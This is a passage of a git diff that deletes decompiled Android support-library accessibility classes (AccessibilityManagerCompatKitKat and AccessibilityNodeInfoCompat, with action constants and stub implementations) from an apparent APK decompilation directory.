onAccessibilityStateChanged(boolean z) { - this.mListenerBridge.onAccessibilityStateChanged(z); - } - } - - public static boolean addAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListenerWrapper accessibilityStateChangeListenerWrapper) { - return accessibilityManager.addAccessibilityStateChangeListener(accessibilityStateChangeListenerWrapper); - } - - public static boolean removeAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListenerWrapper accessibilityStateChangeListenerWrapper) { - return accessibilityManager.removeAccessibilityStateChangeListener(accessibilityStateChangeListenerWrapper); - } - - public static List getEnabledAccessibilityServiceList(AccessibilityManager accessibilityManager, int i) { - return accessibilityManager.getEnabledAccessibilityServiceList(i); - } - - public static List getInstalledAccessibilityServiceList(AccessibilityManager accessibilityManager) { - return accessibilityManager.getInstalledAccessibilityServiceList(); - } - - public static boolean isTouchExplorationEnabled(AccessibilityManager accessibilityManager) { - return accessibilityManager.isTouchExplorationEnabled(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompatKitKat.java deleted file mode 100644 index b6da2ef..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompatKitKat.java +++ /dev/null @@ -1,67 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityManagerCompatKitKat { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface TouchExplorationStateChangeListenerBridge { - void onTouchExplorationStateChanged(boolean z); - } - - AccessibilityManagerCompatKitKat() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class TouchExplorationStateChangeListenerWrapper implements AccessibilityManager.TouchExplorationStateChangeListener { - final Object mListener; - final TouchExplorationStateChangeListenerBridge mListenerBridge; - - public TouchExplorationStateChangeListenerWrapper(Object obj, TouchExplorationStateChangeListenerBridge touchExplorationStateChangeListenerBridge) { - this.mListener = obj; - this.mListenerBridge = touchExplorationStateChangeListenerBridge; - } - - public int hashCode() { - Object obj = this.mListener; - if (obj == null) { - return 0; - } - return obj.hashCode(); - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj == null || getClass() != obj.getClass()) { - return false; - } - Object obj2 = this.mListener; - Object obj3 = ((TouchExplorationStateChangeListenerWrapper) obj).mListener; - return obj2 == null ? obj3 == null : obj2.equals(obj3); - } - - @Override // android.view.accessibility.AccessibilityManager.TouchExplorationStateChangeListener - public void onTouchExplorationStateChanged(boolean z) { - this.mListenerBridge.onTouchExplorationStateChanged(z); - } - } - - public static Object newTouchExplorationStateChangeListener(final TouchExplorationStateChangeListenerBridge touchExplorationStateChangeListenerBridge) { - return new AccessibilityManager.TouchExplorationStateChangeListener() { // from class: android.support.v4.view.accessibility.AccessibilityManagerCompatKitKat.1 - @Override // android.view.accessibility.AccessibilityManager.TouchExplorationStateChangeListener - public void onTouchExplorationStateChanged(boolean z) { - TouchExplorationStateChangeListenerBridge.this.onTouchExplorationStateChanged(z); - } - }; - } - - public static boolean addTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, Object obj) { - return accessibilityManager.addTouchExplorationStateChangeListener((AccessibilityManager.TouchExplorationStateChangeListener) obj); - } - - public static boolean removeTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, Object obj) { - return accessibilityManager.removeTouchExplorationStateChangeListener((AccessibilityManager.TouchExplorationStateChangeListener) obj); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompat.java deleted file mode 100644 index 5b67708..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompat.java +++ /dev/null @@ -1,2591 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.graphics.Rect; -import android.os.Bundle; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompatApi21; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompatKitKat; -import android.view.View; -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class AccessibilityNodeInfoCompat { - public static final int ACTION_ACCESSIBILITY_FOCUS = 64; - public static final String ACTION_ARGUMENT_COLUMN_INT = "android.view.accessibility.action.ARGUMENT_COLUMN_INT"; - public static final String ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN = "ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN"; - public static final String ACTION_ARGUMENT_HTML_ELEMENT_STRING = "ACTION_ARGUMENT_HTML_ELEMENT_STRING"; - public static final String ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT = "ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT"; - public static final String ACTION_ARGUMENT_PROGRESS_VALUE = "android.view.accessibility.action.ARGUMENT_PROGRESS_VALUE"; - public static final String ACTION_ARGUMENT_ROW_INT = "android.view.accessibility.action.ARGUMENT_ROW_INT"; - public static final String ACTION_ARGUMENT_SELECTION_END_INT = "ACTION_ARGUMENT_SELECTION_END_INT"; - public static final String ACTION_ARGUMENT_SELECTION_START_INT = "ACTION_ARGUMENT_SELECTION_START_INT"; - public static final String ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE = "ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE"; - public static final int ACTION_CLEAR_ACCESSIBILITY_FOCUS = 128; - public static final int ACTION_CLEAR_FOCUS = 2; - public static final int ACTION_CLEAR_SELECTION = 8; - public static final int ACTION_CLICK = 16; - public static final int ACTION_COLLAPSE = 524288; - public static final int ACTION_COPY = 16384; - public static final int ACTION_CUT = 65536; - public static final int ACTION_DISMISS = 1048576; - public static final int ACTION_EXPAND = 262144; - public static final int ACTION_FOCUS = 1; - public static final int ACTION_LONG_CLICK = 32; - public static final int ACTION_NEXT_AT_MOVEMENT_GRANULARITY = 256; - public static final int ACTION_NEXT_HTML_ELEMENT = 1024; - public static final int ACTION_PASTE = 32768; - public static final int ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY = 512; - public static final int ACTION_PREVIOUS_HTML_ELEMENT = 2048; - public static final int ACTION_SCROLL_BACKWARD = 8192; - public static final int ACTION_SCROLL_FORWARD = 4096; - public static final int ACTION_SELECT = 4; - public static final int ACTION_SET_SELECTION = 131072; - public static final int ACTION_SET_TEXT = 2097152; - public static final int FOCUS_ACCESSIBILITY = 2; - public static final int FOCUS_INPUT = 1; - static final AccessibilityNodeInfoImpl IMPL = new AccessibilityNodeInfoApi24Impl(); - public static final int MOVEMENT_GRANULARITY_CHARACTER = 1; - public static final int MOVEMENT_GRANULARITY_LINE = 4; - public static final int MOVEMENT_GRANULARITY_PAGE = 16; - public static final int MOVEMENT_GRANULARITY_PARAGRAPH = 8; - public static final int MOVEMENT_GRANULARITY_WORD = 2; - private final Object mInfo; - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface AccessibilityNodeInfoImpl { - void addAction(Object obj, int i); - - void addAction(Object obj, Object obj2); - - void addChild(Object obj, View view); - - void addChild(Object obj, View view, int i); - - boolean canOpenPopup(Object obj); - - List findAccessibilityNodeInfosByText(Object obj, String str); - - List findAccessibilityNodeInfosByViewId(Object obj, String str); - - Object findFocus(Object obj, int i); - - Object focusSearch(Object obj, int i); - - int getAccessibilityActionId(Object obj); - - CharSequence getAccessibilityActionLabel(Object obj); - - Object getActionContextClick(); - - List getActionList(Object obj); - - Object getActionScrollDown(); - - Object getActionScrollLeft(); - - Object getActionScrollRight(); - - Object getActionScrollToPosition(); - - Object getActionScrollUp(); - - Object getActionSetProgress(); - - Object getActionShowOnScreen(); - - int getActions(Object obj); - - void getBoundsInParent(Object obj, Rect rect); - - void getBoundsInScreen(Object obj, Rect rect); - - Object getChild(Object obj, int i); - - int getChildCount(Object obj); - - CharSequence getClassName(Object obj); - - Object getCollectionInfo(Object obj); - - int getCollectionInfoColumnCount(Object obj); - - int getCollectionInfoRowCount(Object obj); - - int getCollectionInfoSelectionMode(Object obj); - - int getCollectionItemColumnIndex(Object obj); - - int getCollectionItemColumnSpan(Object obj); - - Object getCollectionItemInfo(Object obj); - - int getCollectionItemRowIndex(Object obj); - - int getCollectionItemRowSpan(Object obj); - - CharSequence getContentDescription(Object obj); - - int getDrawingOrder(Object obj); - - CharSequence getError(Object obj); - - Bundle getExtras(Object obj); - - int getInputType(Object obj); - - Object getLabelFor(Object obj); - - Object getLabeledBy(Object obj); - - int getLiveRegion(Object obj); - - int getMaxTextLength(Object obj); - - int getMovementGranularities(Object obj); - - CharSequence getPackageName(Object obj); - - Object getParent(Object obj); - - Object getRangeInfo(Object obj); - - CharSequence getRoleDescription(Object obj); - - CharSequence getText(Object obj); - - int getTextSelectionEnd(Object obj); - - int getTextSelectionStart(Object obj); - - Object getTraversalAfter(Object obj); - - Object getTraversalBefore(Object obj); - - String getViewIdResourceName(Object obj); - - Object getWindow(Object obj); - - int getWindowId(Object obj); - - boolean isAccessibilityFocused(Object obj); - - boolean isCheckable(Object obj); - - boolean isChecked(Object obj); - - boolean isClickable(Object obj); - - boolean isCollectionInfoHierarchical(Object obj); - - boolean isCollectionItemHeading(Object obj); - - boolean isCollectionItemSelected(Object obj); - - boolean isContentInvalid(Object obj); - - boolean isContextClickable(Object obj); - - boolean isDismissable(Object obj); - - boolean isEditable(Object obj); - - boolean isEnabled(Object obj); - - boolean isFocusable(Object obj); - - boolean isFocused(Object obj); - - boolean isImportantForAccessibility(Object obj); - - boolean isLongClickable(Object obj); - - boolean isMultiLine(Object obj); - - boolean isPassword(Object obj); - - boolean isScrollable(Object obj); - - boolean isSelected(Object obj); - - boolean isVisibleToUser(Object obj); - - Object newAccessibilityAction(int i, CharSequence charSequence); - - Object obtain(); - - Object obtain(View view); - - Object obtain(View view, int i); - - Object obtain(Object obj); - - Object obtainCollectionInfo(int i, int i2, boolean z); - - Object obtainCollectionInfo(int i, int i2, boolean z, int i3); - - Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z); - - Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z, boolean z2); - - Object obtainRangeInfo(int i, float f, float f2, float f3); - - boolean performAction(Object obj, int i); - - boolean performAction(Object obj, int i, Bundle bundle); - - void recycle(Object obj); - - boolean refresh(Object obj); - - boolean removeAction(Object obj, Object obj2); - - boolean removeChild(Object obj, View view); - - boolean removeChild(Object obj, View view, int i); - - void setAccessibilityFocused(Object obj, boolean z); - - void setBoundsInParent(Object obj, Rect rect); - - void setBoundsInScreen(Object obj, Rect rect); - - void setCanOpenPopup(Object obj, boolean z); - - void setCheckable(Object obj, boolean z); - - void setChecked(Object obj, boolean z); - - void setClassName(Object obj, CharSequence charSequence); - - void setClickable(Object obj, boolean z); - - void setCollectionInfo(Object obj, Object obj2); - - void setCollectionItemInfo(Object obj, Object obj2); - - void setContentDescription(Object obj, CharSequence charSequence); - - void setContentInvalid(Object obj, boolean z); - - void setContextClickable(Object obj, boolean z); - - void setDismissable(Object obj, boolean z); - - void setDrawingOrder(Object obj, int i); - - void setEditable(Object obj, boolean z); - - void setEnabled(Object obj, boolean z); - - void setError(Object obj, CharSequence charSequence); - - void setFocusable(Object obj, boolean z); - - void setFocused(Object obj, boolean z); - - void setImportantForAccessibility(Object obj, boolean z); - - void setInputType(Object obj, int i); - - void setLabelFor(Object obj, View view); - - void setLabelFor(Object obj, View view, int i); - - void setLabeledBy(Object obj, View view); - - void setLabeledBy(Object obj, View view, int i); - - void setLiveRegion(Object obj, int i); - - void setLongClickable(Object obj, boolean z); - - void setMaxTextLength(Object obj, int i); - - void setMovementGranularities(Object obj, int i); - - void setMultiLine(Object obj, boolean z); - - void setPackageName(Object obj, CharSequence charSequence); - - void setParent(Object obj, View view); - - void setParent(Object obj, View view, int i); - - void setPassword(Object obj, boolean z); - - void setRangeInfo(Object obj, Object obj2); - - void setRoleDescription(Object obj, CharSequence charSequence); - - void setScrollable(Object obj, boolean z); - - void setSelected(Object obj, boolean z); - - void setSource(Object obj, View view); - - void setSource(Object obj, View view, int i); - - void setText(Object obj, CharSequence charSequence); - - void setTextSelection(Object obj, int i, int i2); - - void setTraversalAfter(Object obj, View view); - - void setTraversalAfter(Object obj, View view, int i); - - void setTraversalBefore(Object obj, View view); - - void setTraversalBefore(Object obj, View view, int i); - - void setViewIdResourceName(Object obj, String str); - - void setVisibleToUser(Object obj, boolean z); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class AccessibilityActionCompat { - final Object mAction; - public static final AccessibilityActionCompat ACTION_FOCUS = new AccessibilityActionCompat(1, null); - public static final AccessibilityActionCompat ACTION_CLEAR_FOCUS = new AccessibilityActionCompat(2, null); - public static final AccessibilityActionCompat ACTION_SELECT = new AccessibilityActionCompat(4, null); - public static final AccessibilityActionCompat ACTION_CLEAR_SELECTION = new AccessibilityActionCompat(8, null); - public static final AccessibilityActionCompat ACTION_CLICK = new AccessibilityActionCompat(16, null); - public static final AccessibilityActionCompat ACTION_LONG_CLICK = new AccessibilityActionCompat(32, null); - public static final AccessibilityActionCompat ACTION_ACCESSIBILITY_FOCUS = new AccessibilityActionCompat(64, null); - public static final AccessibilityActionCompat ACTION_CLEAR_ACCESSIBILITY_FOCUS = new AccessibilityActionCompat(128, null); - public static final AccessibilityActionCompat ACTION_NEXT_AT_MOVEMENT_GRANULARITY = new AccessibilityActionCompat(256, null); - public static final AccessibilityActionCompat ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY = new AccessibilityActionCompat(512, null); - public static final AccessibilityActionCompat ACTION_NEXT_HTML_ELEMENT = new AccessibilityActionCompat(1024, null); - public static final AccessibilityActionCompat ACTION_PREVIOUS_HTML_ELEMENT = new AccessibilityActionCompat(2048, null); - public static final AccessibilityActionCompat ACTION_SCROLL_FORWARD = new AccessibilityActionCompat(4096, null); - public static final AccessibilityActionCompat ACTION_SCROLL_BACKWARD = new AccessibilityActionCompat(8192, null); - public static final AccessibilityActionCompat ACTION_COPY = new AccessibilityActionCompat(16384, null); - public static final AccessibilityActionCompat ACTION_PASTE = new AccessibilityActionCompat(32768, null); - public static final AccessibilityActionCompat ACTION_CUT = new AccessibilityActionCompat(65536, null); - public static final AccessibilityActionCompat ACTION_SET_SELECTION = new AccessibilityActionCompat(131072, null); - public static final AccessibilityActionCompat ACTION_EXPAND = new AccessibilityActionCompat(262144, null); - public static final AccessibilityActionCompat ACTION_COLLAPSE = new AccessibilityActionCompat(524288, null); - public static final AccessibilityActionCompat ACTION_DISMISS = new AccessibilityActionCompat(1048576, null); - public static final AccessibilityActionCompat ACTION_SET_TEXT = new AccessibilityActionCompat(2097152, null); - public static final AccessibilityActionCompat ACTION_SHOW_ON_SCREEN = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionShowOnScreen()); - public static final AccessibilityActionCompat ACTION_SCROLL_TO_POSITION = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionScrollToPosition()); - public static final AccessibilityActionCompat ACTION_SCROLL_UP = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionScrollUp()); - public static final AccessibilityActionCompat ACTION_SCROLL_LEFT = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionScrollLeft()); - public static final AccessibilityActionCompat ACTION_SCROLL_DOWN = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionScrollDown()); - public static final AccessibilityActionCompat ACTION_SCROLL_RIGHT = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionScrollRight()); - public static final AccessibilityActionCompat ACTION_CONTEXT_CLICK = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionContextClick()); - public static final AccessibilityActionCompat ACTION_SET_PROGRESS = new AccessibilityActionCompat(AccessibilityNodeInfoCompat.IMPL.getActionSetProgress()); - - public AccessibilityActionCompat(int i, CharSequence charSequence) { - this(AccessibilityNodeInfoCompat.IMPL.newAccessibilityAction(i, charSequence)); - } - - AccessibilityActionCompat(Object obj) { - this.mAction = obj; - } - - public int getId() { - return AccessibilityNodeInfoCompat.IMPL.getAccessibilityActionId(this.mAction); - } - - public CharSequence getLabel() { - return AccessibilityNodeInfoCompat.IMPL.getAccessibilityActionLabel(this.mAction); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class CollectionInfoCompat { - public static final int SELECTION_MODE_MULTIPLE = 2; - public static final int SELECTION_MODE_NONE = 0; - public static final int SELECTION_MODE_SINGLE = 1; - final Object mInfo; - - public static CollectionInfoCompat obtain(int i, int i2, boolean z, int i3) { - return new CollectionInfoCompat(AccessibilityNodeInfoCompat.IMPL.obtainCollectionInfo(i, i2, z, i3)); - } - - public static CollectionInfoCompat obtain(int i, int i2, boolean z) { - return new CollectionInfoCompat(AccessibilityNodeInfoCompat.IMPL.obtainCollectionInfo(i, i2, z)); - } - - CollectionInfoCompat(Object obj) { - this.mInfo = obj; - } - - public int getColumnCount() { - return AccessibilityNodeInfoCompat.IMPL.getCollectionInfoColumnCount(this.mInfo); - } - - public int getRowCount() { - return AccessibilityNodeInfoCompat.IMPL.getCollectionInfoRowCount(this.mInfo); - } - - public boolean isHierarchical() { - return AccessibilityNodeInfoCompat.IMPL.isCollectionInfoHierarchical(this.mInfo); - } - - public int getSelectionMode() { - return AccessibilityNodeInfoCompat.IMPL.getCollectionInfoSelectionMode(this.mInfo); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class CollectionItemInfoCompat { - final Object mInfo; - - public static CollectionItemInfoCompat obtain(int i, int i2, int i3, int i4, boolean z, boolean z2) { - return new CollectionItemInfoCompat(AccessibilityNodeInfoCompat.IMPL.obtainCollectionItemInfo(i, i2, i3, i4, z, z2)); - } - - public static CollectionItemInfoCompat obtain(int i, int i2, int i3, int i4, boolean z) { - return new CollectionItemInfoCompat(AccessibilityNodeInfoCompat.IMPL.obtainCollectionItemInfo(i, i2, i3, i4, z)); - } - - CollectionItemInfoCompat(Object obj) { - this.mInfo = obj; - } - - public int getColumnIndex() { - return AccessibilityNodeInfoCompat.IMPL.getCollectionItemColumnIndex(this.mInfo); - } - - public int getColumnSpan() { - return AccessibilityNodeInfoCompat.IMPL.getCollectionItemColumnSpan(this.mInfo); - } - - public int getRowIndex() { - return AccessibilityNodeInfoCompat.IMPL.getCollectionItemRowIndex(this.mInfo); - } - - public int getRowSpan() { - return AccessibilityNodeInfoCompat.IMPL.getCollectionItemRowSpan(this.mInfo); - } - - public boolean isHeading() { - return AccessibilityNodeInfoCompat.IMPL.isCollectionItemHeading(this.mInfo); - } - - public boolean isSelected() { - return AccessibilityNodeInfoCompat.IMPL.isCollectionItemSelected(this.mInfo); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class RangeInfoCompat { - public static final int RANGE_TYPE_FLOAT = 1; - public static final int RANGE_TYPE_INT = 0; - public static final int RANGE_TYPE_PERCENT = 2; - final Object mInfo; - - public static RangeInfoCompat obtain(int i, float f, float f2, float f3) { - return new RangeInfoCompat(AccessibilityNodeInfoCompat.IMPL.obtainRangeInfo(i, f, f2, f3)); - } - - RangeInfoCompat(Object obj) { - this.mInfo = obj; - } - - public float getCurrent() { - return AccessibilityNodeInfoCompatKitKat.RangeInfo.getCurrent(this.mInfo); - } - - public float getMax() { - return AccessibilityNodeInfoCompatKitKat.RangeInfo.getMax(this.mInfo); - } - - public float getMin() { - return AccessibilityNodeInfoCompatKitKat.RangeInfo.getMin(this.mInfo); - } - - public int getType() { - return AccessibilityNodeInfoCompatKitKat.RangeInfo.getType(this.mInfo); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeInfoStubImpl implements AccessibilityNodeInfoImpl { - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addAction(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addAction(Object obj, Object obj2) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addChild(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void addChild(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean canOpenPopup(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object findFocus(Object obj, int i) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object focusSearch(Object obj, int i) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getAccessibilityActionId(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getAccessibilityActionLabel(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionContextClick() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public List getActionList(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollDown() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollLeft() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollRight() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollToPosition() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionScrollUp() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionSetProgress() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getActionShowOnScreen() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getActions(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void getBoundsInParent(Object obj, Rect rect) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public void getBoundsInScreen(Object obj, Rect rect) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getChild(Object obj, int i) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getChildCount(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getClassName(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getCollectionInfo(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionInfoColumnCount(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionInfoRowCount(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionInfoSelectionMode(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemColumnIndex(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemColumnSpan(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getCollectionItemInfo(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemRowIndex(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getCollectionItemRowSpan(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getContentDescription(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getDrawingOrder(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getError(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getInputType(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getLabelFor(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getLabeledBy(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getLiveRegion(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getMaxTextLength(Object obj) { - return -1; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getMovementGranularities(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getPackageName(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getParent(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getRangeInfo(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getRoleDescription(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public CharSequence getText(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getTextSelectionEnd(Object obj) { - return -1; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getTextSelectionStart(Object obj) { - return -1; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getTraversalAfter(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getTraversalBefore(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public String getViewIdResourceName(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public Object getWindow(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public int getWindowId(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isAccessibilityFocused(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCheckable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isChecked(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isClickable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCollectionInfoHierarchical(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCollectionItemHeading(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isCollectionItemSelected(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isContentInvalid(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isContextClickable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isDismissable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeInfoCompat.AccessibilityNodeInfoImpl - public boolean isEditable(Object obj) { - return false; - } - - @Override // 